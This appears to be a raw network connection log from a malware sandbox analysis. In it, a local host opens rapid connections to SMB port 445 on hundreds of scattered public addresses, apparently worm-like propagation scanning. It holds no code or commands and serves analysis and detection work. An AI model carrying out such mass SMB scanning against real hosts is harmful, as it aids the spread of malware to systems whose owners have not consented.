Dec 22, 2022 10:05:19.854593992 CET	53100	445	192.168.2.6	200.38.86.103
Dec 22, 2022 10:05:19.858833075 CET	53101	445	192.168.2.6	176.210.131.40
Dec 22, 2022 10:05:19.949929953 CET	445	53049	176.210.131.40	192.168.2.6
Dec 22, 2022 10:05:19.949968100 CET	445	53049	176.210.131.40	192.168.2.6
Dec 22, 2022 10:05:19.950133085 CET	53049	445	192.168.2.6	176.210.131.40
Dec 22, 2022 10:05:19.965775967 CET	445	53101	176.210.131.40	192.168.2.6
Dec 22, 2022 10:05:19.966142893 CET	53101	445	192.168.2.6	176.210.131.40
Dec 22, 2022 10:05:20.054986000 CET	53101	445	192.168.2.6	176.210.131.40
Dec 22, 2022 10:05:20.161914110 CET	445	53101	176.210.131.40	192.168.2.6
Dec 22, 2022 10:05:20.161974907 CET	445	53101	176.210.131.40	192.168.2.6
Dec 22, 2022 10:05:20.171565056 CET	53101	445	192.168.2.6	176.210.131.40
Dec 22, 2022 10:05:20.281903982 CET	445	53101	176.210.131.40	192.168.2.6
Dec 22, 2022 10:05:20.284770012 CET	53101	445	192.168.2.6	176.210.131.40
Dec 22, 2022 10:05:20.389961004 CET	445	53101	176.210.131.40	192.168.2.6
Dec 22, 2022 10:05:20.403454065 CET	53101	445	192.168.2.6	176.210.131.40
Dec 22, 2022 10:05:20.509831905 CET	445	53101	176.210.131.40	192.168.2.6
Dec 22, 2022 10:05:20.509939909 CET	53101	445	192.168.2.6	176.210.131.40
Dec 22, 2022 10:05:20.617954969 CET	445	53101	176.210.131.40	192.168.2.6
Dec 22, 2022 10:05:20.618032932 CET	53101	445	192.168.2.6	176.210.131.40
Dec 22, 2022 10:05:20.761126995 CET	52540	445	192.168.2.6	84.6.126.1
Dec 22, 2022 10:05:21.008894920 CET	53111	445	192.168.2.6	92.104.192.42
Dec 22, 2022 10:05:21.010164976 CET	53113	445	192.168.2.6	20.178.2.223
Dec 22, 2022 10:05:21.010744095 CET	53114	445	192.168.2.6	41.173.197.223
Dec 22, 2022 10:05:21.012053967 CET	53115	445	192.168.2.6	181.167.118.235
Dec 22, 2022 10:05:21.012576103 CET	53116	445	192.168.2.6	58.122.47.48
Dec 22, 2022 10:05:21.013046026 CET	53117	445	192.168.2.6	184.34.169.180
Dec 22, 2022 10:05:21.013349056 CET	53119	445	192.168.2.6	167.167.84.222
Dec 22, 2022 10:05:21.013554096 CET	53121	445	192.168.2.6	219.198.143.149
Dec 22, 2022 10:05:21.013741970 CET	53123	445	192.168.2.6	101.99.242.228
Dec 22, 2022 10:05:21.013842106 CET	53124	445	192.168.2.6	197.236.131.86
Dec 22, 2022 10:05:21.014017105 CET	53126	445	192.168.2.6	121.239.225.13
Dec 22, 2022 10:05:21.014211893 CET	53128	445	192.168.2.6	138.32.56.147
Dec 22, 2022 10:05:21.014471054 CET	53131	445	192.168.2.6	33.165.131.109
Dec 22, 2022 10:05:21.014583111 CET	53132	445	192.168.2.6	215.66.169.113
Dec 22, 2022 10:05:21.014852047 CET	53135	445	192.168.2.6	141.149.253.8
Dec 22, 2022 10:05:21.015028954 CET	53136	445	192.168.2.6	213.75.117.145
Dec 22, 2022 10:05:21.015225887 CET	53137	445	192.168.2.6	143.91.69.127
Dec 22, 2022 10:05:21.015290976 CET	53138	445	192.168.2.6	40.132.4.138
Dec 22, 2022 10:05:21.015404940 CET	53139	445	192.168.2.6	193.110.185.48
Dec 22, 2022 10:05:21.015513897 CET	53140	445	192.168.2.6	99.200.201.253
Dec 22, 2022 10:05:21.015642881 CET	53141	445	192.168.2.6	32.37.235.40
Dec 22, 2022 10:05:21.015733957 CET	53142	445	192.168.2.6	51.141.214.233
Dec 22, 2022 10:05:21.015881062 CET	53143	445	192.168.2.6	138.36.107.198
Dec 22, 2022 10:05:21.016155958 CET	53145	445	192.168.2.6	47.84.131.235
Dec 22, 2022 10:05:21.016256094 CET	53146	445	192.168.2.6	64.202.190.60
Dec 22, 2022 10:05:21.016355991 CET	53147	445	192.168.2.6	122.163.186.44
Dec 22, 2022 10:05:21.016450882 CET	53148	445	192.168.2.6	218.1.144.52
Dec 22, 2022 10:05:21.016743898 CET	53150	445	192.168.2.6	154.83.5.78
Dec 22, 2022 10:05:21.017237902 CET	53155	445	192.168.2.6	124.70.90.244
Dec 22, 2022 10:05:21.018141985 CET	53159	445	192.168.2.6	16.130.99.28
Dec 22, 2022 10:05:21.119613886 CET	445	53146	64.202.190.60	192.168.2.6
Dec 22, 2022 10:05:21.620615005 CET	53146	445	192.168.2.6	64.202.190.60
Dec 22, 2022 10:05:21.724433899 CET	445	53146	64.202.190.60	192.168.2.6
Dec 22, 2022 10:05:22.110656023 CET	53169	445	192.168.2.6	39.180.128.199
Dec 22, 2022 10:05:22.171240091 CET	53171	445	192.168.2.6	162.232.62.155
Dec 22, 2022 10:05:22.171921015 CET	53172	445	192.168.2.6	154.4.35.6
Dec 22, 2022 10:05:22.172734022 CET	53173	445	192.168.2.6	63.89.31.107
Dec 22, 2022 10:05:22.173393965 CET	53174	445	192.168.2.6	104.254.111.56
Dec 22, 2022 10:05:22.173938036 CET	53175	445	192.168.2.6	68.85.64.6
Dec 22, 2022 10:05:22.174194098 CET	53177	445	192.168.2.6	52.98.73.148
Dec 22, 2022 10:05:22.174542904 CET	53179	445	192.168.2.6	175.249.9.67
Dec 22, 2022 10:05:22.174741983 CET	53181	445	192.168.2.6	165.67.246.44
Dec 22, 2022 10:05:22.174828053 CET	53182	445	192.168.2.6	200.178.246.46
Dec 22, 2022 10:05:22.175010920 CET	53184	445	192.168.2.6	19.18.158.215
Dec 22, 2022 10:05:22.175189018 CET	53186	445	192.168.2.6	142.193.246.113
Dec 22, 2022 10:05:22.175532103 CET	53189	445	192.168.2.6	80.71.28.108
Dec 22, 2022 10:05:22.175726891 CET	53190	445	192.168.2.6	72.90.40.100
Dec 22, 2022 10:05:22.175991058 CET	53193	445	192.168.2.6	221.71.111.40
Dec 22, 2022 10:05:22.176095009 CET	53194	445	192.168.2.6	40.35.206.243
Dec 22, 2022 10:05:22.176194906 CET	53195	445	192.168.2.6	125.209.97.109
Dec 22, 2022 10:05:22.176312923 CET	53196	445	192.168.2.6	55.220.98.217
Dec 22, 2022 10:05:22.176400900 CET	53197	445	192.168.2.6	93.162.198.86
Dec 22, 2022 10:05:22.176497936 CET	53198	445	192.168.2.6	111.56.25.238
Dec 22, 2022 10:05:22.176672935 CET	53199	445	192.168.2.6	117.195.102.105
Dec 22, 2022 10:05:22.176799059 CET	53200	445	192.168.2.6	172.154.7.18
Dec 22, 2022 10:05:22.176887035 CET	53201	445	192.168.2.6	215.98.110.137
Dec 22, 2022 10:05:22.177062988 CET	53203	445	192.168.2.6	200.196.90.170
Dec 22, 2022 10:05:22.177149057 CET	53204	445	192.168.2.6	107.149.241.1
Dec 22, 2022 10:05:22.177263021 CET	53205	445	192.168.2.6	157.141.83.201
Dec 22, 2022 10:05:22.177337885 CET	53206	445	192.168.2.6	83.108.148.182
Dec 22, 2022 10:05:22.177592039 CET	53208	445	192.168.2.6	59.56.4.169
Dec 22, 2022 10:05:22.178052902 CET	53213	445	192.168.2.6	214.75.193.156
Dec 22, 2022 10:05:22.178852081 CET	53217	445	192.168.2.6	93.249.166.28
Dec 22, 2022 10:05:22.311690092 CET	445	53195	125.209.97.109	192.168.2.6
Dec 22, 2022 10:05:22.348726988 CET	445	53204	107.149.241.1	192.168.2.6
Dec 22, 2022 10:05:22.824484110 CET	53195	445	192.168.2.6	125.209.97.109
Dec 22, 2022 10:05:22.855525017 CET	53204	445	192.168.2.6	107.149.241.1
Dec 22, 2022 10:05:22.959342003 CET	445	53195	125.209.97.109	192.168.2.6
Dec 22, 2022 10:05:23.027363062 CET	445	53204	107.149.241.1	192.168.2.6
Dec 22, 2022 10:05:23.467149019 CET	53195	445	192.168.2.6	125.209.97.109
Dec 22, 2022 10:05:23.573992014 CET	53204	445	192.168.2.6	107.149.241.1
Dec 22, 2022 10:05:23.576404095 CET	53219	445	192.168.2.6	133.195.228.247
Dec 22, 2022 10:05:23.597145081 CET	53227	445	192.168.2.6	176.210.131.40
Dec 22, 2022 10:05:23.597534895 CET	53230	445	192.168.2.6	51.121.213.252
Dec 22, 2022 10:05:23.600322008 CET	53234	445	192.168.2.6	10.32.226.22
Dec 22, 2022 10:05:23.600545883 CET	53235	445	192.168.2.6	134.248.123.59
Dec 22, 2022 10:05:23.600557089 CET	53236	445	192.168.2.6	177.13.199.254
Dec 22, 2022 10:05:23.600641012 CET	53237	445	192.168.2.6	77.219.111.32
Dec 22, 2022 10:05:23.600641012 CET	53238	445	192.168.2.6	28.179.206.170
Dec 22, 2022 10:05:23.601942062 CET	445	53195	125.209.97.109	192.168.2.6
Dec 22, 2022 10:05:23.698026896 CET	445	53227	176.210.131.40	192.168.2.6
Dec 22, 2022 10:05:23.698220015 CET	53227	445	192.168.2.6	176.210.131.40
Dec 22, 2022 10:05:23.745872974 CET	445	53204	107.149.241.1	192.168.2.6
Dec 22, 2022 10:05:23.821053028 CET	53227	445	192.168.2.6	176.210.131.40
Dec 22, 2022 10:05:23.821959972 CET	53240	445	192.168.2.6	37.33.244.173
Dec 22, 2022 10:05:23.880739927 CET	53244	445	192.168.2.6	89.58.23.105
Dec 22, 2022 10:05:23.881275892 CET	53249	445	192.168.2.6	22.146.201.189
Dec 22, 2022 10:05:23.881573915 CET	53251	445	192.168.2.6	170.50.48.158
Dec 22, 2022 10:05:23.881635904 CET	53252	445	192.168.2.6	77.48.134.178
Dec 22, 2022 10:05:23.881705999 CET	53253	445	192.168.2.6	45.27.167.98
Dec 22, 2022 10:05:23.881809950 CET	53254	445	192.168.2.6	62.62.210.29
Dec 22, 2022 10:05:23.882030010 CET	53256	445	192.168.2.6	115.4.58.68
Dec 22, 2022 10:05:23.882323027 CET	53257	445	192.168.2.6	220.90.114.145
Dec 22, 2022 10:05:23.882446051 CET	53258	445	192.168.2.6	210.180.90.177
Dec 22, 2022 10:05:23.882502079 CET	53259	445	192.168.2.6	75.46.204.80
Dec 22, 2022 10:05:23.882611990 CET	53260	445	192.168.2.6	199.111.198.221
Dec 22, 2022 10:05:23.882733107 CET	53261	445	192.168.2.6	120.200.40.116
Dec 22, 2022 10:05:23.882834911 CET	53262	445	192.168.2.6	143.143.245.232
Dec 22, 2022 10:05:23.883050919 CET	53263	445	192.168.2.6	221.47.154.117
Dec 22, 2022 10:05:23.883135080 CET	53264	445	192.168.2.6	119.113.63.20
Dec 22, 2022 10:05:23.883311033 CET	53267	445	192.168.2.6	197.161.78.83
Dec 22, 2022 10:05:23.883479118 CET	53270	445	192.168.2.6	151.101.196.82
Dec 22, 2022 10:05:23.883589983 CET	53272	445	192.168.2.6	193.173.85.123
Dec 22, 2022 10:05:23.883697033 CET	53275	445	192.168.2.6	193.103.18.84
Dec 22, 2022 10:05:23.883712053 CET	53276	445	192.168.2.6	60.231.46.207
Dec 22, 2022 10:05:23.883738041 CET	53268	445	192.168.2.6	22.206.83.118
Dec 22, 2022 10:05:23.883954048 CET	53277	445	192.168.2.6	103.223.120.14
Dec 22, 2022 10:05:23.921928883 CET	445	53227	176.210.131.40	192.168.2.6
Dec 22, 2022 10:05:23.925918102 CET	445	53227	176.210.131.40	192.168.2.6
Dec 22, 2022 10:05:23.942392111 CET	53227	445	192.168.2.6	176.210.131.40
Dec 22, 2022 10:05:24.046071053 CET	445	53227	176.210.131.40	192.168.2.6
Dec 22, 2022 10:05:24.046195984 CET	53227	445	192.168.2.6	176.210.131.40
Dec 22, 2022 10:05:24.150065899 CET	445	53227	176.210.131.40	192.168.2.6
Dec 22, 2022 10:05:24.174542904 CET	53227	445	192.168.2.6	176.210.131.40
Dec 22, 2022 10:05:24.278036118 CET	445	53227	176.210.131.40	192.168.2.6
Dec 22, 2022 10:05:24.278235912 CET	53227	445	192.168.2.6	176.210.131.40
Dec 22, 2022 10:05:24.341481924 CET	53280	445	192.168.2.6	176.210.131.41
Dec 22, 2022 10:05:24.382117987 CET	445	53227	176.210.131.40	192.168.2.6
Dec 22, 2022 10:05:24.382229090 CET	53227	445	192.168.2.6	176.210.131.40
Dec 22, 2022 10:05:24.683912039 CET	53281	445	192.168.2.6	17.71.212.228
Dec 22, 2022 10:05:24.702214956 CET	53286	445	192.168.2.6	182.159.95.136
Dec 22, 2022 10:05:24.702749968 CET	53283	445	192.168.2.6	198.29.11.224
Dec 22, 2022 10:05:24.704034090 CET	53296	445	192.168.2.6	200.226.2.160
Dec 22, 2022 10:05:24.704102993 CET	53297	445	192.168.2.6	154.67.231.198
Dec 22, 2022 10:05:24.704138041 CET	53298	445	192.168.2.6	143.155.238.124
Dec 22, 2022 10:05:24.704161882 CET	53299	445	192.168.2.6	56.244.241.44
Dec 22, 2022 10:05:24.981692076 CET	53301	445	192.168.2.6	209.10.51.162
Dec 22, 2022 10:05:24.982219934 CET	53305	445	192.168.2.6	133.72.49.117
Dec 22, 2022 10:05:24.982738972 CET	53310	445	192.168.2.6	99.224.63.150
Dec 22, 2022 10:05:24.982923985 CET	53312	445	192.168.2.6	175.120.123.160
Dec 22, 2022 10:05:24.983202934 CET	53313	445	192.168.2.6	75.219.212.233
Dec 22, 2022 10:05:24.983216047 CET	53314	445	192.168.2.6	76.176.155.139
Dec 22, 2022 10:05:24.983329058 CET	53315	445	192.168.2.6	204.234.103.75
Dec 22, 2022 10:05:24.983525991 CET	53317	445	192.168.2.6	65.102.66.1
Dec 22, 2022 10:05:24.983659983 CET	53318	445	192.168.2.6	40.157.60.64
Dec 22, 2022 10:05:24.983783007 CET	53319	445	192.168.2.6	18.210.214.180
Dec 22, 2022 10:05:24.983906984 CET	53320	445	192.168.2.6	128.178.112.62
Dec 22, 2022 10:05:24.984018087 CET	53321	445	192.168.2.6	84.241.209.202
Dec 22, 2022 10:05:24.984107018 CET	53322	445	192.168.2.6	4.235.10.240
Dec 22, 2022 10:05:24.984199047 CET	53323	445	192.168.2.6	92.241.203.241
Dec 22, 2022 10:05:24.984339952 CET	53324	445	192.168.2.6	100.71.69.100
Dec 22, 2022 10:05:24.984523058 CET	53326	445	192.168.2.6	91.18.131.150
Dec 22, 2022 10:05:24.984798908 CET	53328	445	192.168.2.6	50.238.245.176
Dec 22, 2022 10:05:24.984874964 CET	53329	445	192.168.2.6	163.90.83.91
Dec 22, 2022 10:05:24.985133886 CET	53332	445	192.168.2.6	142.239.109.239
Dec 22, 2022 10:05:24.985424042 CET	53334	445	192.168.2.6	118.250.157.123
Dec 22, 2022 10:05:24.985632896 CET	53336	445	192.168.2.6	185.105.73.60
Dec 22, 2022 10:05:24.985750914 CET	53337	445	192.168.2.6	80.75.202.8
Dec 22, 2022 10:05:24.985831976 CET	53338	445	192.168.2.6	137.85.34.2
Dec 22, 2022 10:05:25.403383970 CET	53341	445	192.168.2.6	176.210.131.42
Dec 22, 2022 10:05:25.798335075 CET	53342	445	192.168.2.6	202.194.174.173
Dec 22, 2022 10:05:25.809573889 CET	53344	445	192.168.2.6	22.11.153.215
Dec 22, 2022 10:05:25.810241938 CET	53345	445	192.168.2.6	163.83.36.91
Dec 22, 2022 10:05:25.811275005 CET	53346	445	192.168.2.6	8.192.78.221
Dec 22, 2022 10:05:25.812311888 CET	53347	445	192.168.2.6	190.93.83.120
Dec 22, 2022 10:05:25.813153982 CET	53350	445	192.168.2.6	143.181.229.224
Dec 22, 2022 10:05:25.813524008 CET	53358	445	192.168.2.6	120.13.73.237
Dec 22, 2022 10:05:26.106093884 CET	53362	445	192.168.2.6	104.185.62.82
Dec 22, 2022 10:05:26.106549025 CET	53367	445	192.168.2.6	124.152.20.206
Dec 22, 2022 10:05:26.106895924 CET	53373	445	192.168.2.6	4.37.163.152
Dec 22, 2022 10:05:26.106951952 CET	53372	445	192.168.2.6	122.113.150.221
Dec 22, 2022 10:05:26.106998920 CET	53375	445	192.168.2.6	161.223.201.105
Dec 22, 2022 10:05:26.107007980 CET	53374	445	192.168.2.6	67.34.36.56
Dec 22, 2022 10:05:26.107141018 CET	53377	445	192.168.2.6	139.246.59.53
Dec 22, 2022 10:05:26.107208967 CET	53378	445	192.168.2.6	146.92.30.208
Dec 22, 2022 10:05:26.107280016 CET	53379	445	192.168.2.6	78.237.235.45
Dec 22, 2022 10:05:26.107311010 CET	53380	445	192.168.2.6	198.36.140.151
Dec 22, 2022 10:05:26.107389927 CET	53381	445	192.168.2.6	99.170.102.158
Dec 22, 2022 10:05:26.107397079 CET	53382	445	192.168.2.6	91.28.93.222
Dec 22, 2022 10:05:26.107506037 CET	53384	445	192.168.2.6	48.48.231.200
Dec 22, 2022 10:05:26.107561111 CET	53383	445	192.168.2.6	78.202.80.44
Dec 22, 2022 10:05:26.107631922 CET	53385	445	192.168.2.6	2.202.172.83
Dec 22, 2022 10:05:26.107681036 CET	53387	445	192.168.2.6	198.237.246.242
Dec 22, 2022 10:05:26.107760906 CET	53389	445	192.168.2.6	166.105.41.9
Dec 22, 2022 10:05:26.107850075 CET	53390	445	192.168.2.6	143.173.214.156
Dec 22, 2022 10:05:26.108118057 CET	53392	445	192.168.2.6	41.88.244.114
Dec 22, 2022 10:05:26.108203888 CET	53395	445	192.168.2.6	187.233.167.101
Dec 22, 2022 10:05:26.108227968 CET	53397	445	192.168.2.6	110.189.190.18
Dec 22, 2022 10:05:26.108283997 CET	53398	445	192.168.2.6	153.48.130.39
Dec 22, 2022 10:05:26.109056950 CET	53399	445	192.168.2.6	2.48.44.177
Dec 22, 2022 10:05:26.480776072 CET	53403	445	192.168.2.6	176.210.131.43
Dec 22, 2022 10:05:26.909015894 CET	53405	445	192.168.2.6	145.180.194.143
Dec 22, 2022 10:05:26.919476032 CET	53406	445	192.168.2.6	142.76.110.232
Dec 22, 2022 10:05:26.920137882 CET	53407	445	192.168.2.6	30.250.179.210
Dec 22, 2022 10:05:26.920686960 CET	53408	445	192.168.2.6	92.205.2.236
Dec 22, 2022 10:05:26.921278000 CET	53409	445	192.168.2.6	184.135.91.24
Dec 22, 2022 10:05:26.922195911 CET	53417	445	192.168.2.6	198.173.159.99
Dec 22, 2022 10:05:26.922354937 CET	53420	445	192.168.2.6	211.104.102.160
Dec 22, 2022 10:05:27.215403080 CET	53428	445	192.168.2.6	30.207.138.196
Dec 22, 2022 10:05:27.216367960 CET	53434	445	192.168.2.6	33.114.101.94
Dec 22, 2022 10:05:27.216576099 CET	53432	445	192.168.2.6	39.236.161.139
Dec 22, 2022 10:05:27.216576099 CET	53436	445	192.168.2.6	55.104.128.66
Dec 22, 2022 10:05:27.216836929 CET	53437	445	192.168.2.6	217.133.19.138
Dec 22, 2022 10:05:27.217072010 CET	53439	445	192.168.2.6	118.153.152.139
Dec 22, 2022 10:05:27.217242002 CET	53442	445	192.168.2.6	148.110.6.182
Dec 22, 2022 10:05:27.217377901 CET	53443	445	192.168.2.6	1.129.182.180
Dec 22, 2022 10:05:27.217564106 CET	53446	445	192.168.2.6	176.232.81.161
Dec 22, 2022 10:05:27.218029022 CET	53449	445	192.168.2.6	13.25.48.36
Dec 22, 2022 10:05:27.218122005 CET	53450	445	192.168.2.6	56.114.4.184
Dec 22, 2022 10:05:27.218178034 CET	53447	445	192.168.2.6	52.73.218.191
Dec 22, 2022 10:05:27.218337059 CET	53452	445	192.168.2.6	18.47.98.54
Dec 22, 2022 10:05:27.218452930 CET	53453	445	192.168.2.6	199.44.144.147
Dec 22, 2022 10:05:27.218488932 CET	53451	445	192.168.2.6	69.79.166.70
Dec 22, 2022 10:05:27.218543053 CET	53454	445	192.168.2.6	68.254.69.138
Dec 22, 2022 10:05:27.218633890 CET	53455	445	192.168.2.6	71.228.49.128
Dec 22, 2022 10:05:27.218734026 CET	53456	445	192.168.2.6	136.29.156.213
Dec 22, 2022 10:05:27.219080925 CET	53458	445	192.168.2.6	124.70.220.98
Dec 22, 2022 10:05:27.219233990 CET	53459	445	192.168.2.6	126.39.10.92
Dec 22, 2022 10:05:27.219302893 CET	53460	445	192.168.2.6	45.171.227.144
Dec 22, 2022 10:05:27.219394922 CET	53461	445	192.168.2.6	208.254.131.163
Dec 22, 2022 10:05:27.219484091 CET	53462	445	192.168.2.6	194.15.108.25
Dec 22, 2022 10:05:27.545461893 CET	53464	445	192.168.2.6	176.210.131.44
Dec 22, 2022 10:05:27.637945890 CET	52501	445	192.168.2.6	84.6.126.102
Dec 22, 2022 10:05:27.656682968 CET	445	53464	176.210.131.44	192.168.2.6
Dec 22, 2022 10:05:27.656780958 CET	53464	445	192.168.2.6	176.210.131.44
Dec 22, 2022 10:05:27.656932116 CET	53464	445	192.168.2.6	176.210.131.44
Dec 22, 2022 10:05:27.657576084 CET	53466	445	192.168.2.6	176.210.131.44
Dec 22, 2022 10:05:27.668057919 CET	52539	445	192.168.2.6	84.6.126.1
Dec 22, 2022 10:05:27.760727882 CET	445	53466	176.210.131.44	192.168.2.6
Dec 22, 2022 10:05:27.760886908 CET	53466	445	192.168.2.6	176.210.131.44
Dec 22, 2022 10:05:27.760886908 CET	53466	445	192.168.2.6	176.210.131.44
Dec 22, 2022 10:05:27.764751911 CET	445	53464	176.210.131.44	192.168.2.6
Dec 22, 2022 10:05:27.772659063 CET	445	53464	176.210.131.44	192.168.2.6
Dec 22, 2022 10:05:27.772753000 CET	53464	445	192.168.2.6	176.210.131.44
Dec 22, 2022 10:05:27.864684105 CET	445	53466	176.210.131.44	192.168.2.6
Dec 22, 2022 10:05:27.872679949 CET	445	53466	176.210.131.44	192.168.2.6
Dec 22, 2022 10:05:27.883156061 CET	53466	445	192.168.2.6	176.210.131.44
Dec 22, 2022 10:05:27.988694906 CET	445	53466	176.210.131.44	192.168.2.6
Dec 22, 2022 10:05:27.988904953 CET	53466	445	192.168.2.6	176.210.131.44
Dec 22, 2022 10:05:28.016122103 CET	53468	445	192.168.2.6	99.219.141.52
Dec 22, 2022 10:05:28.044277906 CET	53470	445	192.168.2.6	83.130.174.249
Dec 22, 2022 10:05:28.045161963 CET	53474	445	192.168.2.6	222.215.192.206
Dec 22, 2022 10:05:28.047035933 CET	53483	445	192.168.2.6	147.168.5.42
Dec 22, 2022 10:05:28.047060966 CET	53484	445	192.168.2.6	67.241.49.60
Dec 22, 2022 10:05:28.047416925 CET	53485	445	192.168.2.6	31.78.117.222
Dec 22, 2022 10:05:28.092673063 CET	445	53466	176.210.131.44	192.168.2.6
Dec 22, 2022 10:05:28.093060970 CET	53466	445	192.168.2.6	176.210.131.44
Dec 22, 2022 10:05:28.234519958 CET	445	53466	176.210.131.44	192.168.2.6
Dec 22, 2022 10:05:28.234680891 CET	53466	445	192.168.2.6	176.210.131.44
Dec 22, 2022 10:05:28.326111078 CET	53488	445	192.168.2.6	65.58.38.63
Dec 22, 2022 10:05:28.326359987 CET	53489	445	192.168.2.6	31.50.60.136
Dec 22, 2022 10:05:28.326455116 CET	53490	445	192.168.2.6	85.27.183.142
Dec 22, 2022 10:05:28.326504946 CET	53491	445	192.168.2.6	171.70.21.200
Dec 22, 2022 10:05:28.326612949 CET	53492	445	192.168.2.6	35.33.210.249
Dec 22, 2022 10:05:28.326625109 CET	53493	445	192.168.2.6	27.33.55.21
Dec 22, 2022 10:05:28.326726913 CET	53495	445	192.168.2.6	102.168.229.172
Dec 22, 2022 10:05:28.326809883 CET	53496	445	192.168.2.6	90.42.112.252
Dec 22, 2022 10:05:28.326831102 CET	53497	445	192.168.2.6	104.229.2.21
Dec 22, 2022 10:05:28.326929092 CET	53498	445	192.168.2.6	82.93.183.19
Dec 22, 2022 10:05:28.327008009 CET	53499	445	192.168.2.6	124.102.146.173
Dec 22, 2022 10:05:28.327075958 CET	53500	445	192.168.2.6	84.245.34.5
Dec 22, 2022 10:05:28.327110052 CET	53501	445	192.168.2.6	160.143.40.77
Dec 22, 2022 10:05:28.327223063 CET	53503	445	192.168.2.6	184.118.206.78
Dec 22, 2022 10:05:28.327367067 CET	53504	445	192.168.2.6	217.18.63.216
Dec 22, 2022 10:05:28.327480078 CET	53507	445	192.168.2.6	170.53.22.165
Dec 22, 2022 10:05:28.327555895 CET	53508	445	192.168.2.6	72.232.53.203
Dec 22, 2022 10:05:28.327656984 CET	53511	445	192.168.2.6	82.240.201.126
Dec 22, 2022 10:05:28.327789068 CET	53513	445	192.168.2.6	133.109.2.87
Dec 22, 2022 10:05:28.327912092 CET	53516	445	192.168.2.6	1.115.54.244
Dec 22, 2022 10:05:28.327944994 CET	53514	445	192.168.2.6	90.53.86.138
Dec 22, 2022 10:05:28.328229904 CET	53521	445	192.168.2.6	56.6.247.100
Dec 22, 2022 10:05:28.328408003 CET	53522	445	192.168.2.6	149.88.240.57
Dec 22, 2022 10:05:28.340733051 CET	445	53466	176.210.131.44	192.168.2.6
Dec 22, 2022 10:05:28.340863943 CET	53466	445	192.168.2.6	176.210.131.44
Dec 22, 2022 10:05:29.121787071 CET	53530	445	192.168.2.6	137.51.30.115
Dec 22, 2022 10:05:29.169006109 CET	53532	445	192.168.2.6	63.71.37.60
Dec 22, 2022 10:05:29.170053005 CET	53537	445	192.168.2.6	49.243.15.79
Dec 22, 2022 10:05:29.172302008 CET	53544	445	192.168.2.6	51.251.55.90
Dec 22, 2022 10:05:29.181036949 CET	53545	445	192.168.2.6	194.127.153.19
Dec 22, 2022 10:05:29.182090044 CET	53547	445	192.168.2.6	42.142.181.221
Dec 22, 2022 10:05:29.182300091 CET	53546	445	192.168.2.6	66.97.91.155
Dec 22, 2022 10:05:29.434186935 CET	53550	445	192.168.2.6	221.15.85.202
Dec 22, 2022 10:05:29.434485912 CET	53551	445	192.168.2.6	64.51.65.214
Dec 22, 2022 10:05:29.434629917 CET	53552	445	192.168.2.6	168.100.205.135
Dec 22, 2022 10:05:29.434786081 CET	53553	445	192.168.2.6	193.241.249.33
Dec 22, 2022 10:05:29.435103893 CET	53556	445	192.168.2.6	16.248.21.118
Dec 22, 2022 10:05:29.435461998 CET	53558	445	192.168.2.6	69.199.12.0
Dec 22, 2022 10:05:29.435583115 CET	53559	445	192.168.2.6	44.201.205.89
Dec 22, 2022 10:05:29.436009884 CET	53562	445	192.168.2.6	199.235.26.126
Dec 22, 2022 10:05:29.436208963 CET	53564	445	192.168.2.6	199.254.60.197
Dec 22, 2022 10:05:29.436336040 CET	53565	445	192.168.2.6	92.48.149.186
Dec 22, 2022 10:05:29.436451912 CET	53567	445	192.168.2.6	76.205.13.76
Dec 22, 2022 10:05:29.436870098 CET	53572	445	192.168.2.6	98.18.73.209
Dec 22, 2022 10:05:29.437491894 CET	53576	445	192.168.2.6	48.146.165.55
Dec 22, 2022 10:05:29.437691927 CET	53578	445	192.168.2.6	66.215.98.44
Dec 22, 2022 10:05:29.437824011 CET	53579	445	192.168.2.6	158.56.112.174
Dec 22, 2022 10:05:29.437840939 CET	53580	445	192.168.2.6	136.47.219.149
Dec 22, 2022 10:05:29.438013077 CET	53582	445	192.168.2.6	194.128.62.189
Dec 22, 2022 10:05:29.438061953 CET	53581	445	192.168.2.6	161.136.90.126
Dec 22, 2022 10:05:29.438224077 CET	53584	445	192.168.2.6	25.253.20.145
Dec 22, 2022 10:05:29.438303947 CET	53585	445	192.168.2.6	102.235.224.123
Dec 22, 2022 10:05:29.438393116 CET	53586	445	192.168.2.6	34.159.82.167
Dec 22, 2022 10:05:29.438596010 CET	53587	445	192.168.2.6	150.242.19.227
Dec 22, 2022 10:05:29.438857079 CET	53588	445	192.168.2.6	178.151.88.192
Dec 22, 2022 10:05:30.231093884 CET	53591	445	192.168.2.6	209.217.218.117
Dec 22, 2022 10:05:30.278805017 CET	53605	445	192.168.2.6	76.39.213.72
Dec 22, 2022 10:05:30.279381990 CET	53594	445	192.168.2.6	161.88.126.0
Dec 22, 2022 10:05:30.280289888 CET	53607	445	192.168.2.6	198.211.85.57
Dec 22, 2022 10:05:30.280324936 CET	53608	445	192.168.2.6	159.95.23.74
Dec 22, 2022 10:05:30.280390024 CET	53609	445	192.168.2.6	196.62.27.30
Dec 22, 2022 10:05:30.280431032 CET	53610	445	192.168.2.6	170.165.182.229
Dec 22, 2022 10:05:30.371351004 CET	52540	445	192.168.2.6	84.6.126.1
Dec 22, 2022 10:05:30.559488058 CET	53614	445	192.168.2.6	7.48.134.156
Dec 22, 2022 10:05:30.559586048 CET	53615	445	192.168.2.6	58.204.85.116
Dec 22, 2022 10:05:30.559592009 CET	53613	445	192.168.2.6	92.66.96.73
Dec 22, 2022 10:05:30.559668064 CET	53616	445	192.168.2.6	89.247.180.122
Dec 22, 2022 10:05:30.559932947 CET	53619	445	192.168.2.6	176.49.99.6
Dec 22, 2022 10:05:30.559994936 CET	53621	445	192.168.2.6	134.0.42.123
Dec 22, 2022 10:05:30.560058117 CET	53622	445	192.168.2.6	36.200.212.161
Dec 22, 2022 10:05:30.560169935 CET	53625	445	192.168.2.6	71.130.77.50
Dec 22, 2022 10:05:30.560286045 CET	53627	445	192.168.2.6	14.235.26.103
Dec 22, 2022 10:05:30.560383081 CET	53629	445	192.168.2.6	119.215.76.76
Dec 22, 2022 10:05:30.560516119 CET	53630	445	192.168.2.6	151.151.28.78
Dec 22, 2022 10:05:30.561064959 CET	53640	445	192.168.2.6	179.106.77.95
Dec 22, 2022 10:05:30.561173916 CET	53641	445	192.168.2.6	153.52.161.206
Dec 22, 2022 10:05:30.561266899 CET	53643	445	192.168.2.6	12.109.149.219
Dec 22, 2022 10:05:30.561338902 CET	53642	445	192.168.2.6	18.73.164.7
Dec 22, 2022 10:05:30.561357021 CET	53644	445	192.168.2.6	184.166.205.148
Dec 22, 2022 10:05:30.561438084 CET	53645	445	192.168.2.6	137.147.151.217
Dec 22, 2022 10:05:30.561554909 CET	53648	445	192.168.2.6	195.71.238.4
